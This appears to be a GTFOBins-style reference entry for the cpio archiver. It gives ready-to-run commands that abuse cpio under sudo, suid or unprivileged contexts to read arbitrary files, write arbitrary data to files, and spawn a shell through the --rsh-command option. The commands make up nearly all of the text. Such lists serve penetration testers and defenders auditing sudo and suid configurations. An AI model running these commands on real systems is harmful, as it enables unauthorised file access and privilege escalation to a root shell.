cpio

File Read

Context: sudo, suid, unprivileged

echo /path/to/input-file | cpio -o

Context: sudo, suid, unprivileged

echo /path/to/input-file | cpio -dp .
cat path/to/input-file

File Write

Context: sudo, suid, unprivileged

echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -udp .

Shell

Context: sudo

echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost: